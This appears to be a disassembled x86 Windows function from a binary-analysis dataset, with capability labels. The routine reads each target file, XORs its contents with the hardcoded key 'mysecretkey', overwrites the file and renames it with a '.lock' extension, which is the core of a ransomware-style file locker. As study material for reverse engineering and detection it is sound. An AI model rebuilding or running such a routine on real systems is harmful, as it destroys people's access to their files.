Function at 0x4026c0
Capabilities:
Encode data using xor
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427eb5
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x438050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x44], edx
mov edi, dword [ebp + 8]
mov eax, edi
cmp dword [edi + 0x14], 8
jb 0x4026fb
mov eax, dword [edi]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
jne 0x40276c
mov edx, str.Unable_to_open_file
mov ecx, 0x439378
call fcn.00406ec0
cmp dword [edi + 0x14], 8
mov edx, edi
jb 0x402735
mov edx, dword [edi]
push dword [edi + 0x10]
mov ecx, eax
call fcn.00408850
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str._Error:
mov ecx, esi
call fcn.00406ec0
mov ecx, eax
call fcn.00404420
push eax
call fcn.00407170
add esp, 4
jmp 0x402a1d
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x14], 0
xor eax, eax
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
test ebx, ebx
je 0x4027f6
cmp ebx, 0x7fffffff
ja 0x402a39
cmp ebx, 0x1000
jb 0x4027d2
lea eax, [ebx + 0x23]
cmp eax, ebx
jbe 0x402a3e
push eax
call fcn.0040af1d
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x402a43
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x4027db
push ebx
call fcn.0040af1d
add esp, 4
push ebx
lea esi, [eax + ebx]
mov dword [ebp - 0x1c], eax
push 0
push eax
mov dword [ebp - 0x14], esi
call fcn.0040c910
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov dword [ebp - 0x18], esi
push 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
push ecx
push ebx
mov ebx, dword [ebp - 0x40]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40286a
mov edx, str.Unable_to_read_file
mov ecx, 0x439378
call fcn.00406ec0
cmp dword [edi + 0x14], 8
mov edx, edi
jb 0x40282c
mov edx, dword [edi]
push dword [edi + 0x10]
mov ecx, eax
call fcn.00408850
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str._Error:
mov ecx, esi
call fcn.00406ec0
mov ecx, eax
call fcn.00404420
push eax
call fcn.00407170
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4029ed
xor esi, esi
cmp dword [ebp - 0x20], esi
jbe 0x40288a
mov eax, esi
mov ecx, dword [ebp - 0x1c]
xor edx, edx
div dword [ebp - 0x44]
mov al, byte [edx + str.mysecretkey]
xor byte [ecx + esi], al
inc esi
cmp esi, dword [ebp - 0x20]
jb 0x402871
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4028f9
mov edx, str.Unable_to_write_file
mov ecx, 0x439378
call fcn.00406ec0
cmp dword [edi + 0x14], 8
mov edx, edi
jb 0x4028c7
mov edx, dword [edi]
push dword [edi + 0x10]
mov ecx, eax
call fcn.00408850
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str._Error:
mov ecx, esi
call fcn.00406ec0
mov ecx, eax
call fcn.00404420
push eax
call fcn.00407170
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str..lock
mov edx, edi
lea ecx, [ebp - 0x38]
call fcn.00407210
add esp, 4
mov byte [ebp - 4], 1
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 8
mov ecx, edi
cmovae eax, dword [ebp - 0x38]
cmp dword [edi + 0x14], 8
jb 0x40292b
mov ecx, dword [edi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4029a3
mov edx, str.Unable_to_rename_file
mov ecx, 0x439378
call fcn.00406ec0
cmp dword [edi + 0x14], 8
mov edx, edi
jb 0x402950
mov edx, dword [edi]
push dword [edi + 0x10]
mov ecx, eax
call fcn.00408850
mov edx, str._to
mov ecx, eax
call fcn.00406ec0
cmp dword [ebp - 0x24], 8
lea edx, [ebp - 0x38]
push dword [ebp - 0x28]
cmovae edx, dword [ebp - 0x38]
mov ecx, eax
call fcn.00408850
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str._Error:
mov ecx, esi
call fcn.00406ec0
mov ecx, eax
call fcn.00404420
push eax
call fcn.00407170
add esp, 4
mov edx, dword [ebp - 0x24]
cmp edx, 8
jb 0x4029d9
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4029cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402a43
push edx
push ecx
call fcn.0040af4d
add esp, 8
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
mov word [ebp - 0x38], ax
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x402a1d
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x402a13
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402a43
push edx
push ecx
call fcn.0040af4d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040af0a
mov esp, ebp
pop ebp
ret
call fcn.00408810
call fcn.00401390
call fcn.00411a97
int3